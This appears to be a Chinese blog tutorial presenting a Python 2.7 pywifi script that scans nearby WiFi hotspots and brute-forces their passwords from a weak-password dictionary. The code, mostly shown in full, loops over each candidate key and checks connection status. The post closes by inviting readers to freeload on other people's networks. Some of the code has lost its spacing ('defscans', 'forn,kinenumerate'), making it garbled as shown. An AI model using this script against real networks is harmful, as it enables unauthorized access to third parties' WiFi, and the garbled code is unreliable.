環(huán)境準(zhǔn)備
python2.7
pywifi模塊
字典
清除系統(tǒng)中的任何wifi連接記錄
導(dǎo)入模塊
這里用的模塊就這三個 pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判斷需要修改,不然會有很多的提示信息。
from pywifi import *
import time
import sys
字典準(zhǔn)備

python 群 565266089
配置掃描器
推薦掃描時常可以設(shè)置在15-20秒之間 測試時常則可以自定義,考慮到認(rèn)證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒意義 到時候就算破解成功的熱點,信號也好不到哪里。


掃描周圍熱點
defscans(face,timeout):
#開始掃描
face.scan()
time.sleep(timeout)
#在若干秒后獲取掃描結(jié)果
return face.scan_results()
熱點測試
這里后續(xù)推薦將掃描過程數(shù)據(jù)入庫,防止重復(fù)掃描,且更加直觀。
deftest(i,face,x,key,stu,ts):
#顯示對應(yīng)網(wǎng)絡(luò)名稱,考慮到部分中文名嘖顯示bssid
showID= x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid
#迭代字典并進行爆破
forn,kinenumerate(key):
x.key= k.strip()
#移除所有熱點配置
face.remove_all_network_profiles()
#講封裝好的目標(biāo)嘗試連接
face.connect(face.add_network_profile(x))
#初始化狀態(tài)碼,考慮到用0會發(fā)生些邏輯錯誤
code = 10
t1 = time.time()
#循環(huán)刷新狀態(tài),如果置為0則密碼錯誤,如超時則進行下一個
while code!=0 :
time.sleep(0.1)
code = face.status()
now = time.time()-t1
if now>ts:
break
stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))
stu.flush()
if code == 4:
face.disconnect()
return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
return False
案例
這里顯示本次測試使用了11個弱口令,并掃描到了20個熱點,然后開始坑爹的跑起來了

你以成功連入WiFi ,是不是很有趣,想不想蹭網(wǎng)呢。
|